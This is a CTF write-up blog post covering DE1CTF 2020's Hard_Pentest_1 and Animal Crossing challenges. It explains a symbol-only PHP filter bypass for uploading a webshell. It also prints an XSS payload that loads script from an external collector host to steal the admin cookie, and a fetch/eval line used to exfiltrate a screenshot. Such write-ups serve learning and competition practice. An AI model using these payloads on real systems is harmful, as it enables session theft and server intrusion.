9 minutes
DE1ctf 2020: Hard_Pentest_1 and Animal Crossing
The intersection of web-based challenges and other challenges should be expected to be seen in CTFs, but yet still I’m always surprised when I see it in action.
De1CTF 2020 really gave me a thorough and in-depth understanding of php, maybe more than I would have ever done on my own. It was actually welcome experience to try out web problems that weren’t just purely web-based. Unfortunately, because of that these problems required more time for me to solve. Hard_Pentest_1 has been a journey in its web-based issues, but a whole different adventure in pwning when you actually complete part of it. So this blog post is gonna be a part 1 of 2.
Let’s Begin!
Hard_Pentest_1
The no-css basic HTML page exposes its php scripts right off the bat.
<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}
function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>
<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
The Check()
method is important here.
function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
We can only upload php files, so maybe I can try to open a webshell here. The name, “Hard_Pentest” also gives me a hint that I should try to open a webshell. But the if statement blocks all alphanumerics and certain special characters from being processed. So, at first glance, anything we feed into this function won’t be processed. But php is a strange and weird fascinating language with plenty of loopholes and different quirks about it, one of them, being the concept of “string/character arithmetic” (not the real term but I have no other informed way to describe it):
$a = 'Z'
echo $a++; //Basically, Z + 1. This will print 'AA'
output: 'AA'
This is valid PHP. This definitely isn’t something you’d see in other conventional languages. What does it mean to increment ‘Z’ by 1? Logically it makes no sense, but in PHP it does!
Another thing PHP has that we can utilize here is shorthand statements. Plenty of other languages have this feature as well in some way or another. For example, the ternary operator ?
:
$result = $condition ? 'Jam' : 'Vie';
is shorthand for
if ($condition){
$result = 'Jam';
}else{
$result = 'Vie';
}
And finally, the last quirk about php: arrays and strings.
In other languages, arrays and strings are treated as distinct, two different data types. Some languages may treat strings as an array of chars, but by convention, just any random and arbitrary array can’t and shouldn’t be joined with a string without proper typesetting and checking. Okay, sounds fair and good and all. But what does php do instead?
In php, you can join arrays and strings together. The array will be converted to the string: 'Array'
.
php > echo ''.[];
PHP Notice: Array to string conversion on line 1
Array <------The string, 'Array'
php > $var = ''.[];
php > echo $var['!'=='@']; <------Should give us the first leter in 'Array'
A
What does this mean for us?
Because of the Check()
function, we can’t use alphanumerics or certain special characters. But for the list of valid special characters, []
square brackets are allowed, so we can declare arrays as normal. And we can still declare variables as usual, and the +
operators are still valid so we can utilize string arithmetic.
So, all in all, if we wanted to spell the word GET
with all the restrictions above, it would look like
<?= $_=[] ?> //Declare array
<?= $_=@"$_" ?> //array is converted to a string, "Array"
<?= $_=$_['!'=='@'] ?> //Access first element in array. The '!'=='@' check returns 0
<?= $___=$_ ?> //'A'
<?= $__ = $_ ?>
<?= @$____ = $__++ + $__++ + $__++ + $__++ + $__++ + $__++ ?>
<?= $_______ = $__ ?> //'G'
<?= $__ = $_ ?>
<?= @$____ = $__++ + $__++ + $__++ + $__++ ?> //'E'
<?= $_______ .= $__ ?> //'GE'
<?= $__ = $_ ?>
<?= @$____ = $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ ?> //'T'
<?= $_______ .= $__ ?> //'GET'
Armed with this knowledge, we can write out entire lines of code of php that are just a series of various shorthand operators and symbols, and string arithmetic.
The first hurdle is the existence of the php opening tag. All php code requires the <?php
opening tag before anything, kinda like the start of any HTML document needing <HTML>
to be declared first at the top.
Checking out php open tags, we come across the existence of shorthand tags for them, in the PHP documentation:
PHP includes a short echo tag <?= which is a short-hand to the more verbose <?php echo.
PHP also allows for short open tag <? (which is discouraged since it is only available if enabled using the short_open_tag php.ini configuration file directive, or if PHP was configured with the –enable-short-tags option).
So we can work around saying <?php>
with <?=
instead!
The second hurdle is the semi-colon, which ends PHP statements. This can be worked around by simply creating new lines of PHP code for each time we want to make a new statement.
So with this in mind we can easily craft a php script to open up a webshell on their server, and poke around. But that’s just part 1 of the problem: we’ve sucessfully opened a shell on the server, but the scope of my pwn abilities isn’t much to really comprehend what’s going on here. Unfortunately, this challenge will remain unsolved until I can figure out how to play around with a Microsoft webshell.
Animal Crossing
Despite the few solves this problem has, I was drawn to it because of its name. Who doesn’t love Animal Crossing?
The website allows you to make a passport. There are fields for your name, island name, nickname, and favourite fruit, I think.
When we make a passport we are redirected to a URL where the contents of what we typed are reflected in it (a sign of XSS attacks). And, at the bottom, is a report function (A BIG sign of XSS attacks).
When we go ahead and report it…
I thought my client broke for a second. I wasn’t expecting just plain code to be printed on the front-end.
It stumped me at first - the ability to report is blocked by this md5 code checking function. I needed to input some string whose md5 encoding’s first 6 characters matched the randomized string. I didn’t actually get what this was supposed to be doing, I was confused as to wether or not this was still a broken webpage or not, and I asked my team for help. Luckily, my teammate Filip, who’s really good at pwn-based challenges, told me it was a “proof of work” - I just needed to brute-force my way in by finding a string with the md5 hash characters matching the random one. He gave me a script I could work with to start cracking it.
The good thing (in this context, bad for others) about md5 is that it’s a one-way hashing but there is no salting to the code value, it’s just the hash. Therefore, a string put through md5 would always return the same md5 encoding. So I just needed to randomly generate a string, md5 it, then check the digest against the random one.
Well great, I have succesfully done so and reported my passport to an admin. With this extra step of generating a valid code, the rest of Animal Crossing is a general XSS attack.
We want to report a URL that will grab the admin cookie when a user checks out our URL, and sends it to the server(You can use pastebin, XSSHunter, webhook.site, etc). Part of my payload looks like this:
data=base64DATAXXXXXXX'javascript:eval('var a=document.createElement(\'script\');a.src=\'https://ServerHere.xss.ht\';document.body.appendChild(a)')
And we retrieve the cookie, which has the flag:
FLAG=De1CTF{I_l1k4_
But this is just one half of the flag. Where’s the other half?
Eventually, De1CTF released a hint: “what is the admin doing?”. After the CTF, I ruminated on the implications of this hint.
Looking at the document shows hundreds of png images, of what looks like other people’s passports. I guess, the other half of the flag is among them. But the hint got me thinking - obviously, the admin would have to be leafing through the screenshots but its not like the flag will just magically turn up in one of the images cause they forgot to hide their flag text file out of view. So unless I can control the screenshot, I doubt I’ll be able to find the flag.
The library ‘html2canvas’ comes to mind - taking screenshots with javascript. If I pass a payload to the admin that takes a screenshot of their interface, will the flag be there?
The idea here is to upload some code using html2canvas. If we give it a .png extension the server won’t complain, after which you can fetch your image back, whatever you called it, and evaluate it so it takes the screenshot and you can download it. Your code should import the html2canvas library, take a screenshot, then upload that screenshot to the server for you to fetch and download.
fetch(`/static/images/WhateverYouNamedYourFile.png`).then(resp=>resp.text()).then(flag=>eval((flag) || '0 + 0'));
//0+0 check is my way of checking errors. If the fetch response evals to a 0 I did something wrong.
I create this and report it to the admin. When the admin visits the URL with the javascript payload (not shown here), it will take a screenshot of the admin’s interface and send it back to me. I get the address and download it for the other half of the flag:
cool_GamE}
So the full flag would be: FLAG=De1CTF{I_l1k4_cool_GamE}
This was definitely a challenge that stretched my capabilities of XSS attacks past grabbing cookies and pretending to be admin. The 2nd half of taking a screenshot of the admin’s interface was unique and certainly not something I would’ve thought of immediately. All in all, I’m glad I participated in DE1CTF despite the difficulty levels of the problems I faced!
Jam
References
Feature Image by Sara Kurfeß on Unsplash